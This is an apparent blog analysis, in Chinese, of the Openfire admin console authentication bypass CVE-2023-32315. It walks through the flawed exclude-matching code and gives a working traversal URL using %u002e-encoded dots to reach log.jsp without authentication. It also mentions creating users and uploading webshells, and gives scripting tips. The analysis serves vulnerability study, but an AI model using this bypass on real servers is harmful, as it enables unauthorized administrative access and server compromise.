CVE-2023-32315 代码分析

322 阅读1分钟

漏洞描述

Openfire 的管理控制台(Admin Console)是一个基于 Web 的应用程序,被发现容易受到通过设置环境进行的路径遍历攻击。 这允许未经身份验证的用户在已配置的 Openfire 环境中使用未经身份验证的 Openfire 设置环境,以访问为管理用户保留的 Openfire 管理控制台中的受限页面。

影响版本

>= 3.10.0, < 4.6.8
>= 4.7.0, < 4.7.5

漏洞分析

查看修复版本和漏洞版本的代码区别:

同样看到修复代码增加了对utf-8的解码,并且增加白名单地址的限制

后面要想利用的话,分析有问题的AuthCheckFilter.java代码,要是利用的话需要所有的判断都返回true,首先查看exclude的配置是那些,在xmppserver/src/main/webapp/WEB-INF/web.xml中定义了 excludes的内容:

<filter>
<filter-name>AuthCheck</filter-name>
<filter-class>org.jivesoftware.admin.AuthCheckFilter</filter-class>
<init-param>
<param-name>excludes</param-name>
<param-value>
login.jsp,index.jsp?logout=true,setup/index.jsp,setup/setup-*,.gif,.png,error-serverdown.jsp,loginToken.jsp
</param-value>
</init-param>
</filter>
boolean doExclude = false;
for (String exclude : excludes) {
    if (testURLPassesExclude(url, exclude)) {
        doExclude = true;
        break;
    }
}

在看代码:

if (exclude.endsWith("*")) {
            if (url.startsWith(exclude.substring(0, exclude.length()-1))) {
                // Now make sure that there are no ".." characters in the rest of the URL.
                if (!url.contains("..") && !url.toLowerCase().contains("%2e")) {
                    return true;
                }
            }
        }
        else if (exclude.contains("?")) {
            if (url.equals(exclude)) {
                return true;
            }
        }

xmppserver/src/test/java/org/jivesoftware/admin/AuthCheckFilterTest.java中的代码:

assertTrue(AuthCheckFilter.testURLPassesExclude("setup/setup-new.jsp","setup/setup-*"));

通过断言可以的值setup/setup-new.jsp是满足exclude.endsWith("*")

构造http://localhost:9090/setup/setup-s/../../log.jsp

通过url.startsWith(exclude.substring(0, exclude.length()-1)可以知道url也是满足

但是不满足后面的url的判断,对../进行utf-8的编码,绕过if的后面的检查

url为:

http://localhost:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp可以发现报错,说明进入了log.jsp

查看log.jsp的代码,构造请求参数:http://127.0.0.1:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp?log=error&mode=asc&lines=All

可以看到绕过了登入访问到了log记录信息,同样调用其他的jsp可以实现创建用户、上传webshell等功能

小坑

python进行脚本编写,采用了requests包,发现requests请求时候会对url中的%进行编码变成 %25导致url访问失败

解决方案采用 HackRequests 编写

注:不同的版本存在不同的方式,其中会有cookie的参与还有csrf的防护,这些都需要处理